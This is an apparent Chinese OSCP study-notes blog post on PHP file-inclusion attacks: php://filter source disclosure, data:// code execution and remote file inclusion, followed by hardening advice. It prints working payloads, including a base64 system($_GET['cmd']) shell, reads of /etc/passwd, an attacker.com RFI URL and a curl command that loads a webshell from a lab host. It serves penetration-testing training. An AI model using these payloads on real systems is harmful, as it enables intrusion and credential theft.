4-5〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸远程文件含有漏洞

    郑重声明:本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    点赞❤️ 关注 收藏⭐️ 评论 
    更多文章戳
Whoami!-CSDN博客

​​


 现在,我们渐入佳境了,保持耐心,继续前行 ! 

' , !  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 

→ 权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.2 文件包含漏洞

1.2.3 PHP协议包装器(Wrappers)介绍

1.2.3.1 PHP协议包装器概述

1.2.3.2 重点包装器

1.2.3.3 利用php://filter读取敏感信息

1.攻击流程图

2.攻击详细步骤

1.2.3.4 利用data://实现代码执行

1. data://攻击流程图

2. data://包装器攻击详解表

3. 攻击前提条件与限制

1.2.4 远程文件包含漏洞(RFI)

1.2.4.1 远程文件包含漏洞(RFI)概述

1.2.4.2 RFI实战攻击步骤

1.准备Webshell

2.启动Web服务器(将simple-backdoor.php作为远程文件)

3.发起RFI攻击

4.验证攻击结果

1.2.4.3 RFI防护策略

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论


1 常见WEB应用攻击

       Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 目录遍历 - 通过操纵文件路径访问未授权资源

  • 文件包含漏洞 - 包含恶意文件执行代码---远程文件包含漏洞(本文)

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权

  • ⚡ 命令注入 - 在输入中注入系统命令执行

1.2 文件包含漏洞

接前文。

1.2.3 PHP协议包装器(Wrappers)介绍

        PHP协议包装器就像“万能钥匙” ️,允许PHP以不同方式访问本地或远程资源(如文件、网络)。它们增强了PHP的功能,但攻击者常利用它们绕过安全过滤器,通过文件包含漏洞获取敏感信息或代码执行权限。

1.2.3.1 PHP协议包装器概述
  • 什么是包装器?
    PHP包装器是内置的协议处理器,类似于“交通枢纽” ,让PHP能通过统一接口(如file://http://php://)访问多样资源。

  • 常见类型

    包装器类型用途
    file://访问本地文件系统
    http://通过HTTP访问网络资源
    php://处理PHP流(如输入/输出)
    data://直接嵌入数据(如Base64编码)
  • 攻击面
    ⚠️ 攻击者尤其关注 php://filter 和 data://,因为它们能绕过过滤器读取非执行文件(如配置文件)。

1.2.3.2 重点包装器
  • 功能比喻
    php://filter 像一个“魔法滤镜” ,能在读取文件时进行编码转换(如Base64、ROT13),从而改变文件内容的显示方式。

  • 攻击利用

    • 绕过过滤器:如果Web应用程序限制了文件访问,攻击者可用 php://filter 将PHP文件内容编码后读取(例如,Base64编码),避免直接执行代码。

      • 示例
        include("php://filter/convert.base64-encode/resource=config.php") 会以Base64显示config.php的源代码,而非执行它。

    • LFI(本地文件包含)漏洞利用
      通过路径遍历(如../../../etc/passwd)结合 php://filter,攻击者能读取敏感文件(如数据库密码)。

  • 流程图:这就像“用X光扫描文件” ,直接查看内部结构,而不触发执行。

    正常访问:用户请求 → 执行PHP代码 → 输出结果
    攻击路径:用户请求 → 使用php://filter编码 → 读取源代码 → 解码获取信息

主要包装器利用

风险类型包装器示例攻击效果比喻
文件读取绕过php://filter读取PHP源代码偷看日记本而不被发现
远程代码执行data://通过嵌入数据执行代码通过“密信”传递恶意指令
路径遍历file://访问系统敏感文件用万能钥匙️打开禁止的房间

 形象比喻总结

  • PHP包装器就像“瑞士军刀” ️:功能多样,但若被恶意使用,会成为攻击工具。

  • php://filter 是“解码器”:它将执行式访问转为“只读模式”,如同将电影转为剧本——攻击者能分析代码漏洞。

  • 防御建议
    严格验证用户输入路径,禁用危险包装器(如通过allow_url_include=Off),并定期审计代码。


1.2.3.3 利用php://filter读取敏感信息

      以下是攻击者通过php://filter包装器读取敏感信息的完整攻击流程:

1.攻击流程图

2.攻击详细步骤
步骤操作描述关键发现结果分析
① 直接访问page=admin.php显示标题和维护文本,但HTML代码不完整PHP代码在服务器端执行,无法查看源代码
② 无编码过滤php://filter/resource=admin.php输出结果与直接访问相同PHP代码仍然被执行,无法达到读取源码目的
③ Base64编码php://filter/convert.base64-encode/resource=admin.php获取Base64编码字符串,页面正常加载成功绕过执行,以编码形式获取文件内容
④ 解码数据终端执行base64 -d解码获得完整的PHP源代码,包含MySQL连接信息发现数据库用户名、密码等敏感凭据
⑤ 利用凭据使用获取的凭据登录可实现数据库连接SSH登录完成权限提升,获得系统访问权

各步骤图示:

① 直接访问:下图显示之前审查网页应用程序时已经遇到的标题和维护文本。 注意到:
      HTML代码的末尾没有关闭<body>标签。合理推测,有些东西丢失了。PHP代码将在服务器端执行,因此不会显示。
      当我们将此输出与在浏览器中查看源代码时得出结论,index.php页面的其余内容丢失了。

② 无编码过滤:使用php://filter来包含文件。现在,不对其进行任何编码。PHP包装器使用resource作为必需的参数,用于指定用于过滤的文件流,这里的情况是文件名。我们还可以在此参数中指定绝对路径或相对路径。

输出显示相同的结果。因为PHP代码通过LFI漏洞被包含和执行。

③ Base64编码:使用base64对输出进行编码通过添加convert.base64-encode。 这将将指定的资源转换为base64字符串。下图包含了base64编码的数据。

④ 解码数据:使用base64程序和-d标志(解码)在终端中解码编码的数据。显示出完整(包括之前被执行)的代码,解码后的数据包含:MySQL连接信息,包括用户名和密码!!!

⑤ 利用凭据:可使用这些凭据连接到数据库,或者尝试使用SSH登录用户账户的密码。

  • 为什么需要编码?
    ➤ 直接包含PHP文件会导致代码被执行而非显示
    ➤ Base64编码将源代码转为纯文本格式,避免执行

  • 攻击成功的关键
    ✅ LFI漏洞存在 - 可动态包含文件
    ✅ php://filter可用 - 服务器未禁用危险包装器
    ✅ 敏感信息硬编码 - 配置文件包含明文凭据

️ 防御启示

# 危险配置(导致漏洞)
allow_url_include = On
# 安全配置(建议)
allow_url_include = Off
php://filter包装器限制使用

核心教训永远不要在源代码中硬编码敏感信息,并严格限制文件包含功能!


1.2.3.4 利用data://实现代码执行

以下是使用data://包装器嵌入恶意代码的完整攻击流程:

1. data://攻击流程图

2. data://包装器攻击详解表
攻击阶段技术细节关键命令/代码防御规避效果
① 明文数据注入直接嵌入PHP代码data://text/plain,<?php system("ls");?>基本WAF可检测
② Base64编码绕过编码规避安全检测data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=绕过字符串过滤
③ 命令执行通过参数传递命令?cmd=id 或 ?cmd=cat /etc/passwd动态命令执行

① 明文数据注入:使用该包装器,添加data://后跟数据类型和内容。尝试将一个小的URL编码的PHP片段嵌入到Web应用程序的代码中,使用ls命令。text/plain 是MIME 类型,表示数据是纯文本格式。看到,命令被执行了。

② Base64编码绕过:但是,直接明文注入,会被WAF检测到!因此需要编码后注入。

我们先将PHP代码片段编码为base64,然后使用curl将其嵌入并通过 data://包装器执行。

$ echo -n '' | base64
//-n ,echo就不会在输出后自动添加换行符;然后进行base64编码。
如果你使用echo -n:echo -n "Hello",会输出:HelloWorld(即,world跟在后面)

data://包装器语法结构

data://[][;base64],
  • MIME-type: 指定数据类型,如 text/plaintext/html

  • base64标识: 可选,表示数据为Base64编码

  • 数据内容: 要嵌入的实际代码或数据

攻击示例对比

攻击类型URL示例优点风险
明文攻击data://text/plain,<?php system("ls");?>简单直接易被检测
编码攻击data://text/plain;base64,PD9waHA...绕过过滤需要编码

3. 攻击前提条件与限制

默认的PHP安装中,data://包装器不起作用。要利用它,必须启用allow_url_include设置

allow_url_include = On    ; ✅ 允许URL包含
allow_url_fopen = On      ; ✅ 允许URL文件操作

allow_url_include核心概念

属性详细说明
配置类型PHP.ini中的安全配置选项
控制范围includerequireinclude_oncerequire_once
默认状态Off(关闭) - 安全优先

 配置状态对比表

配置状态功能权限安全风险推荐场景风险等级
✅ On(开启)允许包含远程文件(HTTP/FTP) 高危:RFI漏洞开发测试环境
❌ Off(关闭)仅允许包含本地文件 低危生产环境
#  配置文件位置:php.ini
# 开启远程包含(危险!)
allow_url_include = On
# 关闭远程包含(推荐安全设置)
allow_url_include = Off

 代码示例对比

允许远程包含时(allow_url_include = On)

执行结果:✅ 可正常包含并执行远程恶意代码

禁止远程包含时(allow_url_include = Off)

执行结果:❌ Warning: include(): http:// wrapper is disabled in the server configuration

RFI(远程文件包含)攻击流程

攻击场景示例 :http://victim.com/index.php?page=http://attacker.com/shell.txt

  • 攻击结果:服务器下载并执行攻击者的远程恶意脚本


1.2.4 远程文件包含漏洞(RFI)

1.2.4.1 远程文件包含漏洞(RFI)概述
属性详细说明风险等级
漏洞类型远程文件包含攻击 高危
出现频率比LFI更少见(需特定配置)⭐⭐
攻击条件allow_url_include = On关键前提

 LFI vs RFI对比表

特性LFI(本地文件包含)RFI(远程文件包含)
文件来源本地文件系统远程服务器(HTTP/SMB等)
配置要求通常默认存在allow_url_include = On
攻击难度相对容易需要特定配置
危害范围本地信息泄露远程代码执行+持久化
漏洞发现LFI部分介绍的相同技术来发现RFI漏洞和LFI部分介绍的相同发现的技术

 RFI攻击流程详解

  • ️ 侦察阶段 - 发现文件包含参数

  • 准备阶段 - 准备恶意Webshell

  • 服务阶段 - 搭建远程文件服务器

  • ⚡ 攻击阶段 - 触发远程文件包含

  • 控制阶段 - 获取系统权限


1.2.4.2 RFI实战攻击步骤
1.准备Webshell

        Kali在 /usr/share/webshells/php/ 目录中的几个PHP webshell,可用于RFI。
        webshell是一个小脚本,提供基于Web的命令行界面,使执行命令更加简单和方便。在这个例子中,将使用simple-backdoor.php webshell来利用“Mountain Desserts”的RFI漏洞。

️ 常用Webshell类型对比

Webshell名称功能特点适用场景隐蔽性
simple-backdoor.php基础命令执行RFI测试⭐⭐
php-reverse-shell.php反向连接shell持久化访问⭐⭐⭐
c99.php图形化文件管理高级运维
b374k.php多功能后门专业渗透⭐⭐
2.启动Web服务器(将simple-backdoor.php作为远程文件)
# ️ 在Kali上启动Python HTTP服务器
cd /usr/share/webshells/php/
python3 -m http.server 80
# ✅ 服务器运行在:http:///simple-backdoor.php

3.发起RFI攻击
#  使用curl进行RFI攻击
$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
#  攻击参数分解:
# - page参数:指向攻击者的远程Webshell:http://192.168.119.3/simple-backdoor.php
# - cmd参数:要执行的系统命令
4.验证攻击结果


1.2.4.3 RFI防护策略

配置文件层防护

#  安全配置(php.ini)
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html

代码层防护

WAF规则示例

# ️ Nginx WAF规则
location ~* \.(php)$ {
    if ($query_string ~* "(http|https|ftp)://") {
        return 403;
    }
}

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论

您的支持是我创作最大的动力!

posted @ 2025-10-02 15:00  wzzkaifa  阅读(4)  评论(0)    收藏  举报